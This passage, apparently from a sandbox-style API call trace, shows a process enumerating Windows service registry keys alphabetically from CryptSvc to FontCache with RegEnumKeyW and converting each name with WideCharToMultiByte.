lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0180.522] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0180.522] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1a00, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0180.523] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0180.523] RegEnumKeyW (in: hKey=0x140, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1a00, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0180.523] RegEnumKeyW (in: hKey=0x140, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0180.523] RegEnumKeyW (in: hKey=0x140, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0180.523] RegEnumKeyW (in: hKey=0x140, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0180.523] RegEnumKeyW (in: hKey=0x140, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0180.524] RegEnumKeyW (in: hKey=0x140, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0180.524] RegEnumKeyW (in: hKey=0x140, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0180.524] RegEnumKeyW (in: hKey=0x140, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0180.524] RegEnumKeyW (in: hKey=0x140, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0180.524] RegEnumKeyW (in: hKey=0x140, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0180.524] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0180.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0180.525] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0180.525] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0180.525] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0180.525] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0180.525] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0180.525] RegEnumKeyW (in: hKey=0x140, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0180.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0180.526] RegEnumKeyW (in: hKey=0x140, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0180.526] RegEnumKeyW (in: hKey=0x140, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0180.526] RegEnumKeyW (in: hKey=0x140, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0180.526] RegEnumKeyW (in: hKey=0x140, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0180.526] RegEnumKeyW (in: hKey=0x140, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0180.526] RegEnumKeyW (in: hKey=0x140, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0180.526] RegEnumKeyW (in: hKey=0x140, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0180.527] RegEnumKeyW (in: hKey=0x140, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0180.527] RegEnumKeyW (in: hKey=0x140, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0180.527] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0180.527] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0180.527] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0180.527] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0180.528] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0180.528] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0180.528] RegEnumKeyW (in: hKey=0x140, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0180.528] RegEnumKeyW (in: hKey=0x140, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0180.528] RegEnumKeyW (in: hKey=0x140, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0180.528] RegEnumKeyW (in: hKey=0x140, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0180.528] 